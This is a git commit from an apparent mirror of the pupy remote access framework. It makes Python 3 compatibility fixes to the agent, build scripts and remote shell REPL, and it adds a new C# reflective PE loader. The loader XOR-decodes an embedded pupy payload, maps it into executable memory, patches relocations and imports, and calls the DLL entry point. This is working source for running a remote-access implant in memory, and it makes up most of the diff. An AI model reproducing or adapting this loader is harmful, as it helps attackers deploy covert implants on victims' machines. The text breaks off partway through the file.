mirror of https://github.com/n1nj4sec/pupy.git
various python3 fixes
This commit is contained in:
parent
393a0ab4b3
commit
cddfba75e1
|
@ -51,8 +51,8 @@ start_container() {
|
|||
if [ ! -z "$1" ] && [ ! -z "$2" ]; then
|
||||
start_container $1 $2
|
||||
else
|
||||
start_container windows-py3 sources-windows
|
||||
start_container linux32 sources-linux
|
||||
start_container linux64 sources-linux
|
||||
start_container android android_sources
|
||||
start_container windows-py3 sources-windows-py3
|
||||
#start_container linux32 sources-linux
|
||||
#start_container linux64 sources-linux
|
||||
#start_container android android_sources
|
||||
fi
|
||||
|
|
|
@ -102,15 +102,19 @@ all_dependencies.add('sysconfig')
|
|||
all_dependencies.add('re')
|
||||
|
||||
exceptions = (
|
||||
'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports'
|
||||
#'network', 'pupyimporter', 'additional_imports'
|
||||
'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules',
|
||||
'network', 'pupyimporter', 'additional_imports'
|
||||
)
|
||||
|
||||
all_dependencies = sorted(list(set(all_dependencies)))
|
||||
for dep in list(all_dependencies):
|
||||
for excluded in exceptions:
|
||||
if dep == excluded or dep.startswith(excluded + '.'):
|
||||
all_dependencies.remove(dep)
|
||||
try:
|
||||
all_dependencies.remove(dep)
|
||||
except Exception as e:
|
||||
print("could not remove dependency {}: {}".format(dep, e))
|
||||
|
||||
|
||||
ignore = {
|
||||
'_cffi_backend.so', '_cffi_backend.pyd',
|
||||
|
|
|
@ -422,9 +422,11 @@ PyObject *py_eval_package_init(
|
|||
}
|
||||
dprint("modname: %s modname_len: %d name_len: %d\n", modname, modname_len, name_len );
|
||||
|
||||
/*
|
||||
if (strncmp("pupy.", modname, 5)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
*/
|
||||
if (modname_len < name_len + 2)
|
||||
continue;
|
||||
|
||||
|
@ -1021,12 +1023,17 @@ void run_pupy() {
|
|||
|
||||
if (!py_module_from_stdlib(py_stdlib, "pupy", 1))
|
||||
goto lbExit4;
|
||||
//if (!py_module_from_stdlib(py_stdlib, "pupy.agent.winerror_hacks", 0))
|
||||
// goto lbExit4;
|
||||
|
||||
pupy = py_module_from_stdlib(py_stdlib, "pupy.agent", 1);
|
||||
|
||||
if (!pupy)
|
||||
goto lbExit4;
|
||||
|
||||
if (!py_module_from_stdlib(py_stdlib, "pupy.agent.utils", 0))
|
||||
goto lbExit4;
|
||||
|
||||
|
||||
pupy_dict = PyModule_GetDict(pupy);
|
||||
py_main = PyDict_GetItemString(pupy_dict, "main");
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
pycryptodome==3.7.0
|
||||
pyaes
|
||||
psutil
|
||||
psutil==5.9.2
|
||||
rsa==4.0
|
||||
netaddr==0.7.19
|
||||
tinyec
|
||||
|
|
|
@ -12,6 +12,7 @@ PACKAGES="$PACKAGES https://github.com/alxchk/urllib-auth/archive/master.zip"
|
|||
PACKAGES="$PACKAGES https://github.com/alxchk/winkerberos/archive/master.zip"
|
||||
PACKAGES="$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip"
|
||||
PACKAGES="$PACKAGES idna http-parser pyodbc wmi"
|
||||
PACKAGES="$PACKAGES psutil==5.9.2"
|
||||
|
||||
SUFFIX="-310"
|
||||
SELF=$(readlink -f "$0")
|
||||
|
@ -31,7 +32,7 @@ $PYTHON32 -m pip install -q --upgrade pylzma
|
|||
$PYTHON64 -m pip install -q --upgrade pylzma
|
||||
|
||||
|
||||
SKIP_TO_BUILD=0
|
||||
SKIP_TO_BUILD=1
|
||||
if [ ! "$SKIP_TO_BUILD" -eq "1" ]; then
|
||||
|
||||
echo "[+] Install python packages"
|
||||
|
@ -65,10 +66,6 @@ for PYTHON in $PYTHON32 $PYTHON64; do
|
|||
$PYTHON -c 'import kcp' || exit 1
|
||||
done
|
||||
|
||||
echo "[+] Install psutil"
|
||||
$PYTHON32 -m pip install psutil
|
||||
$PYTHON64 -m pip install --upgrade psutil
|
||||
|
||||
for PYTHON in $PYTHON32 $PYTHON64; do
|
||||
$PYTHON -m pip install -q --force pycparser
|
||||
done
|
||||
|
|
|
@ -836,7 +836,7 @@ def initialize_basic_windows_modules():
|
|||
# This may happen on default python27 install
|
||||
pass
|
||||
|
||||
from .winerror_hacks import apply_winerror_hacks
|
||||
from pupy.agent.winerror_hacks import apply_winerror_hacks
|
||||
|
||||
# Enable unicode descriptions for windows errors
|
||||
apply_winerror_hacks()
|
||||
|
@ -850,7 +850,8 @@ def load_pupyimporter(stdlib=None):
|
|||
pass
|
||||
|
||||
if stdlib:
|
||||
pupy_modules.modules = stdlib
|
||||
pupy_modules.modules.update(stdlib)
|
||||
|
||||
|
||||
if is_native():
|
||||
dprint('Install pupyimporter (standalone)')
|
||||
|
@ -876,6 +877,9 @@ def load_pupyimporter(stdlib=None):
|
|||
import collections
|
||||
collections # use collections to ignore an IDE warning
|
||||
|
||||
import pupy
|
||||
setattr(pupy, 'agent', sys.modules['pupy.agent'])
|
||||
|
||||
if sys.platform == 'win32':
|
||||
initialize_basic_windows_modules()
|
||||
|
||||
|
@ -985,7 +989,7 @@ def setup_network():
|
|||
def setup_obtain():
|
||||
global obtain
|
||||
|
||||
from .utils import safe_obtain
|
||||
from pupy.agent.utils import safe_obtain
|
||||
obtain = safe_obtain
|
||||
|
||||
def setup_hooks():
|
||||
|
@ -1018,7 +1022,7 @@ def prepare(argv=sys.argv, debug=False, config={}, stdlib=None):
|
|||
|
||||
dprint("Register pupyimporter..")
|
||||
|
||||
from .utils import register_pupyimporter
|
||||
from pupy.agent.utils import register_pupyimporter
|
||||
register_pupyimporter()
|
||||
|
||||
dprint("Prepare rest..")
|
||||
|
|
|
@ -24,15 +24,18 @@ if sys.version_info.major > 2:
|
|||
else:
|
||||
import cPickle as pickle
|
||||
|
||||
import pupy.agent
|
||||
|
||||
logger = pupy.agent.get_logger('utils')
|
||||
import pupy.agent
|
||||
logger = None
|
||||
|
||||
|
||||
def pupy_add_package(pkdic, compressed=False, name=None):
|
||||
''' Update the modules dictionary to allow
|
||||
remote imports of new packages
|
||||
'''
|
||||
global logger
|
||||
if logger is None:
|
||||
logger = pupy.agent.get_logger('utils')
|
||||
import pupy_modules
|
||||
import logging
|
||||
logger.setLevel(logging.DEBUG)
|
||||
|
|
|
@ -193,6 +193,9 @@ kill = process_kill
|
|||
#tasklist = shell_exec 'tasklist /v'
|
||||
mount = drives
|
||||
du = download -S
|
||||
vi = edit
|
||||
vim = edit
|
||||
|
||||
|
||||
[rubber_ducky]
|
||||
#path to the encoder.jar file of Rubber-Ducky project (see https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Encoder/encoder.jar)
|
||||
|
|
|
@ -11,9 +11,9 @@ class CmdRepl(Cmd):
|
|||
def __init__(self, stdout, write_cb, completion, CRLF=False, interpreter=None, codepage=None):
|
||||
self._write_cb = write_cb
|
||||
self._complete = completion
|
||||
self._codepage = codepage
|
||||
self._codepage = None # codepage
|
||||
self.prompt = '\r'
|
||||
self._crlf = ('\r\n' if CRLF else '\n')
|
||||
self._crlf = (b'\r\n' if CRLF else b'\n')
|
||||
self._interpreter = interpreter
|
||||
self._setting_prompt = False
|
||||
self._last_cmd = None
|
||||
|
@ -42,16 +42,16 @@ class CmdRepl(Cmd):
|
|||
|
||||
self.stdout.write(data)
|
||||
self.stdout.flush()
|
||||
if '\n' in data:
|
||||
self.prompt = data.rsplit('\n', 1)[-1]
|
||||
if b'\n' in data:
|
||||
self.prompt = data.decode('utf8').rsplit('\n', 1)[-1]
|
||||
else:
|
||||
self.prompt += data
|
||||
self.prompt += data.decode('utf8')
|
||||
|
||||
def do_EOF(self, line):
|
||||
return True
|
||||
|
||||
def do_help(self, line):
|
||||
self.default(' '.join(['help', line]))
|
||||
self.default(b' '.join([b'help', line]))
|
||||
|
||||
def completenames(self):
|
||||
return []
|
||||
|
@ -72,6 +72,7 @@ class CmdRepl(Cmd):
|
|||
def default(self, line):
|
||||
if self._codepage:
|
||||
line = line.decode('utf-8').encode(self._codepage)
|
||||
line=line.encode('utf8')
|
||||
|
||||
self._write_cb(line + self._crlf)
|
||||
self.prompt = ''
|
||||
|
@ -81,8 +82,8 @@ class CmdRepl(Cmd):
|
|||
|
||||
def set_prompt(self, prompt='# '):
|
||||
methods = {
|
||||
'cmd.exe': ['set PROMPT={}'.format(prompt)],
|
||||
'sh': ['export PS1="{}"'.format(prompt)]
|
||||
'cmd.exe': [b'set PROMPT='+(prompt.encode('utf8'))],
|
||||
'sh': [b'export PS1="'+(prompt.encode('utf8'))+b'"']
|
||||
}
|
||||
|
||||
method = methods.get(self._interpreter, None)
|
||||
|
|
|
@ -30,10 +30,6 @@
|
|||
# POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
from __future__ import unicode_literals
|
||||
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
|
||||
from pupy.pupylib.PupyConfig import PupyConfig
|
||||
|
||||
|
|
|
@ -0,0 +1,796 @@
|
|||
/*
|
||||
Original Author: Casey Smith, Twitter: @subTee
|
||||
License: BSD 3-Clause
|
||||
|
||||
Edited by @n1nj4sec
|
||||
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace PELoader
|
||||
{
|
||||
unsafe class Program
|
||||
{
|
||||
private const int MAX_RECORDS = 1000;
|
||||
private const byte MASK_BYTE = 0xFF;
|
||||
|
||||
public enum DllReason : uint
|
||||
{
|
||||
DLL_PROCESS_ATTACH = 1,
|
||||
DLL_THREAD_ATTACH = 2,
|
||||
DLL_THREAD_DETACH = 3,
|
||||
DLL_PROCESS_DETACH = 0
|
||||
}
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||
private delegate bool DllEntryDelegate(void* hinstDLL, DllReason fdwReason, void* lpReserved);
|
||||
|
||||
private static PELoader Unpack(string[] args)
|
||||
{
|
||||
/* Do nothing about args for now */
|
||||
|
||||
byte[] RawPE = <PUPYx64_BYTES>;
|
||||
for (int i = 0; i < RawPE.Length; i++)
|
||||
{
|
||||
RawPE[i] ^= MASK_BYTE;
|
||||
}
|
||||
|
||||
return new PELoader(RawPE);
|
||||
}
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
ExecutePELoader(new string[] { });
|
||||
}
|
||||
|
||||
private static void ExecutePELoader(string[] args)
|
||||
{
|
||||
PELoader pe = Unpack(args);
|
||||
|
||||
DllEntryDelegate _dllEntry;
|
||||
|
||||
uint SizeOfImage;
|
||||
ulong ImageBase;
|
||||
IntPtr CodeBase;
|
||||
IntPtr RelocationTable;
|
||||
IntPtr ImportTableVirtualAddress;
|
||||
uint ImportTableVirtualAddressOffset;
|
||||
uint AddressOfEntryPoint;
|
||||
|
||||
if (pe.Is32BitHeader)
|
||||
{
|
||||
SizeOfImage = pe.OptionalHeader32.SizeOfImage;
|
||||
ImageBase = pe.OptionalHeader32.ImageBase;
|
||||
AddressOfEntryPoint = pe.OptionalHeader32.AddressOfEntryPoint;
|
||||
ImportTableVirtualAddressOffset = pe.OptionalHeader32.ImportTable.VirtualAddress;
|
||||
}
|
||||
else {
|
||||
SizeOfImage = pe.OptionalHeader64.SizeOfImage;
|
||||
ImageBase = pe.OptionalHeader64.ImageBase;
|
||||
AddressOfEntryPoint = pe.OptionalHeader64.AddressOfEntryPoint;
|
||||
ImportTableVirtualAddressOffset = pe.OptionalHeader64.ImportTable.VirtualAddress;
|
||||
}
|
||||
|
||||
Console.WriteLine("Preferred Load Address = {0:X16}", ImageBase);
|
||||
|
||||
CodeBase = NativeDeclarations.VirtualAlloc(
|
||||
IntPtr.Zero, SizeOfImage,
|
||||
NativeDeclarations.MEM_COMMIT,
|
||||
NativeDeclarations.PAGE_EXECUTE_READWRITE);
|
||||
|
||||
Console.WriteLine(
|
||||
"Allocated Space For {0:X16} at {1:X16}",
|
||||
SizeOfImage, CodeBase);
|
||||
|
||||
//Copy Sections
|
||||
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IntPtr SectionVirtualAddress = (IntPtr)((byte*)CodeBase + pe.ImageSectionHeaders[i].VirtualAddress);
|
||||
IntPtr MappedVirtualAddress = NativeDeclarations.VirtualAlloc(
|
||||
SectionVirtualAddress,
|
||||
pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT,
|
||||
NativeDeclarations.PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
|
||||
Marshal.Copy(
|
||||
pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData,
|
||||
MappedVirtualAddress, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
|
||||
|
||||
Console.WriteLine("Section {0}, Copied To {1:X16}", pe.ImageSectionHeaders[i].Name, MappedVirtualAddress);
|
||||
}
|
||||
|
||||
//Perform Base Relocation
|
||||
long delta;
|
||||
|
||||
if (pe.Is32BitHeader) {
|
||||
int currentbase = CodeBase.ToInt32();
|
||||
delta = currentbase - (int)ImageBase;
|
||||
RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader32.BaseRelocationTable.VirtualAddress);
|
||||
} else {
|
||||
long currentbase = CodeBase.ToInt64();
|
||||
delta = currentbase - (long)ImageBase;
|
||||
RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress);
|
||||
}
|
||||
|
||||
if (delta >= 0) {
|
||||
Console.WriteLine("Delta = {0:X16}", delta);
|
||||
} else {
|
||||
Console.WriteLine("Delta = -{0:X16}", -delta);
|
||||
}
|
||||
|
||||
NativeDeclarations.IMAGE_BASE_RELOCATION RelocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||
|
||||
RelocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
|
||||
RelocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
|
||||
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
IntPtr nextEntry = RelocationTable;
|
||||
int sizeofNextBlock = (int)RelocationEntry.SizeOfBlock;
|
||||
IntPtr offset = RelocationTable;
|
||||
|
||||
while (true)
|
||||
{
|
||||
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||
IntPtr x = (IntPtr)((byte*)RelocationTable + sizeofNextBlock);
|
||||
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
|
||||
x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
|
||||
IntPtr dest = (IntPtr)((byte*)CodeBase + (int)RelocationEntry.VirtualAdress);
|
||||
|
||||
for (int i = 0; i < (int)((RelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
|
||||
{
|
||||
IntPtr patchAddr;
|
||||
|
||||
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
|
||||
UInt16 type = (UInt16)(value >> 12);
|
||||
UInt16 fixup = (UInt16)(value & 0xfff);
|
||||
|
||||
long originalAddr;
|
||||
long fixedAddr;
|
||||
|
||||
patchAddr = (IntPtr)((byte*)dest + fixup);
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case 0x0:
|
||||
Console.WriteLine("[R] ABS");
|
||||
break;
|
||||
|
||||
case 0x3:
|
||||
originalAddr = (long) Marshal.ReadInt32(patchAddr);
|
||||
fixedAddr = originalAddr + delta;
|
||||
|
||||
Console.WriteLine(
|
||||
"[R] {0:X8} (+ {1}) -> {2:X8}",
|
||||
originalAddr, delta, fixedAddr);
|
||||
Marshal.WriteInt32(patchAddr, (int) fixedAddr);
|
||||
break;
|
||||
|
||||
case 0xA:
|
||||
originalAddr = Marshal.ReadInt64(patchAddr);
|
||||
fixedAddr = originalAddr + delta;
|
||||
Console.WriteLine(
|
||||
"[R] {0:X16} (+ {1}) -> {2:X16}",
|
||||
originalAddr, delta, fixedAddr);
|
||||
Marshal.WriteInt64(patchAddr, fixedAddr);
|
||||
break;
|
||||
|
||||
default:
|
||||
Console.WriteLine("[R] Invalid relocation: {0}", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
offset = (IntPtr)((byte*)RelocationTable + sizeofNextBlock);
|
||||
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
|
||||
RelocationEntry = relocationNextEntry;
|
||||
|
||||
nextEntry = (IntPtr)((byte*)nextEntry + sizeofNextBlock);
|
||||
|
||||
if (relocationNextEntry.SizeOfBlock == 0)
|
||||
break;
|
||||
}
|
||||
|
||||
ImportTableVirtualAddress = (IntPtr)((byte*)CodeBase + ImportTableVirtualAddressOffset);
|
||||
|
||||
//Get And Display Each DLL To Load
|
||||
for (int j = 0; j < MAX_RECORDS; j++) //HardCoded Number of DLL's Do this Dynamically.
|
||||
{
|
||||
IntPtr ImportRecord = (IntPtr)((byte*)ImportTableVirtualAddress + (20 * j));
|
||||
|
||||
IntPtr DllFuncOFTOfft = (IntPtr)((byte*)(ImportRecord) + 0);
|
||||
IntPtr DllNameOfft = (IntPtr)((byte*)(ImportRecord) + 12);
|
||||
IntPtr DllFuncFTOfft = (IntPtr)((byte*)(ImportRecord) + 16);
|
||||
|
||||
IntPtr dllNamePTR = (IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllNameOfft));
|
||||
int FTPtr = Marshal.ReadInt32(DllFuncFTOfft);
|
||||
int OFTPtr = Marshal.ReadInt32(DllFuncOFTOfft);
|
||||
IntPtr DllFuncNameIdx = (IntPtr) 0;
|
||||
IntPtr DllFuncPtrIdx = (IntPtr) (IntPtr)((byte*)CodeBase + FTPtr);
|
||||
|
||||
if (OFTPtr != 0) {
|
||||
DllFuncNameIdx = (IntPtr)((byte*)CodeBase + OFTPtr);
|
||||
} else {
|
||||
DllFuncNameIdx = (IntPtr)((byte*)CodeBase + FTPtr);
|
||||
}
|
||||
|
||||
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
|
||||
|
||||
Console.WriteLine("Import DLL {0}", DllName);
|
||||
|
||||
if (DllName == "")
|
||||
break;
|
||||
|
||||
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
|
||||
Console.WriteLine("Loaded {0} -> {1}", DllName, handle);
|
||||
for (int k = 1; k < MAX_RECORDS; k++)
|
||||
{
|
||||
IntPtr DllFuncNamePtr = ((IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllFuncNameIdx)));
|
||||
string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((byte*)DllFuncNamePtr + 2));
|
||||
|
||||
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
|
||||
|
||||
Console.WriteLine("Import Function {0} -> {1:X16}", DllFuncName, funcAddy);
|
||||
|
||||
if (pe.Is32BitHeader) {
|
||||
Marshal.WriteInt32(DllFuncPtrIdx, (int)funcAddy);
|
||||
DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 4);
|
||||
DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 4);
|
||||
} else {
|
||||
Marshal.WriteInt64(DllFuncPtrIdx, (long)funcAddy);
|
||||
DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 8);
|
||||
DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 8);
|
||||
}
|
||||
|
||||
if (DllFuncName == "")
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
IntPtr OEP = (IntPtr)((byte*)CodeBase + AddressOfEntryPoint);
|
||||
|
||||
//Transfer Control To OEP
|
||||
Console.WriteLine("Executing DLL [OEP -> {0:X16}]", OEP);
|
||||
|
||||
_dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(OEP, typeof(DllEntryDelegate));
|
||||
|
||||
if (_dllEntry == null || !_dllEntry((byte*)CodeBase, DllReason.DLL_PROCESS_ATTACH, (void*)1))
|
||||
{
|
||||
throw new Exception("Can't attach DLL to process.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class PELoader
|
||||
{
|
||||
public struct IMAGE_DOS_HEADER
|
||||
{ // DOS .EXE header
|
||||
public UInt16 e_magic; // Magic number
|
||||
public UInt16 e_cblp; // Bytes on last page of file
|
||||
public UInt16 e_cp; // Pages in file
|
||||
public UInt16 e_crlc; // Relocations
|
||||
public UInt16 e_cparhdr; // Size of header in paragraphs
|
||||
public UInt16 e_minalloc; // Minimum extra paragraphs needed
|
||||
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
|
||||
public UInt16 e_ss; // Initial (relative) SS value
|
||||
public UInt16 e_sp; // Initial SP value
|
||||
public UInt16 e_csum; // Checksum
|
||||
public UInt16 e_ip; // Initial IP value
|
||||
public UInt16 e_cs; // Initial (relative) CS value
|
||||
public UInt16 e_lfarlc; // File address of relocation table
|
||||
public UInt16 e_ovno; // Overlay number
|
||||
public UInt16 e_res_0; // Reserved words
|
||||
public UInt16 e_res_1; // Reserved words
|
||||
public UInt16 e_res_2; // Reserved words
|
||||
public UInt16 e_res_3; // Reserved words
|
||||
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
|
||||
public UInt16 e_oeminfo; // OEM information; e_oemid specific
|
||||
public UInt16 e_res2_0; // Reserved words
|
||||
public UInt16 e_res2_1; // Reserved words
|
||||
public UInt16 e_res2_2; // Reserved words
|
||||
public UInt16 e_res2_3; // Reserved words
|
||||
public UInt16 e_res2_4; // Reserved words
|
||||
public UInt16 e_res2_5; // Reserved words
|
||||
public UInt16 e_res2_6; // Reserved words
|
||||
public UInt16 e_res2_7; // Reserved words
|
||||
public UInt16 e_res2_8; // Reserved words
|
||||
public UInt16 e_res2_9; // Reserved words
|
||||
public UInt32 e_lfanew; // File address of new exe header
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public UInt32 VirtualAddress;
|
||||
public UInt32 Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt32 BaseOfData;
|
||||
public UInt32 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt32 SizeOfStackReserve;
|
||||
public UInt32 SizeOfStackCommit;
|
||||
public UInt32 SizeOfHeapReserve;
|
||||
public UInt32 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt64 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt64 SizeOfStackReserve;
|
||||
public UInt64 SizeOfStackCommit;
|
||||
public UInt64 SizeOfHeapReserve;
|
||||
public UInt64 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public UInt16 Machine;
|
||||
public UInt16 NumberOfSections;
|
||||
public UInt32 TimeDateStamp;
|
||||
public UInt32 PointerToSymbolTable;
|
||||
public UInt32 NumberOfSymbols;
|
||||
public UInt16 SizeOfOptionalHeader;
|
||||
public UInt16 Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public char[] Name;
|
||||
[FieldOffset(8)]
|
||||
public UInt32 VirtualSize;
|
||||
[FieldOffset(12)]
|
||||
public UInt32 VirtualAddress;
|
||||
[FieldOffset(16)]
|
||||
public UInt32 SizeOfRawData;
|
||||
[FieldOffset(20)]
|
||||
public UInt32 PointerToRawData;
|
||||
[FieldOffset(24)]
|
||||
public UInt32 PointerToRelocations;
|
||||
[FieldOffset(28)]
|
||||
public UInt32 PointerToLinenumbers;
|
||||
[FieldOffset(32)]
|
||||
public UInt16 NumberOfRelocations;
|
||||
[FieldOffset(34)]
|
||||
public UInt16 NumberOfLinenumbers;
|
||||
[FieldOffset(36)]
|
||||
public DataSectionFlags Characteristics;
|
||||
|
||||
public string Section
|
||||
{
|
||||
get { return new string(Name); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DataSectionFlags : uint
|
||||
{
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeReg = 0x00000000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeDsect = 0x00000001,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeNoLoad = 0x00000002,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeGroup = 0x00000004,
|
||||
/// <summary>
|
||||
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
|
||||
/// </summary>
|
||||
TypeNoPadded = 0x00000008,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
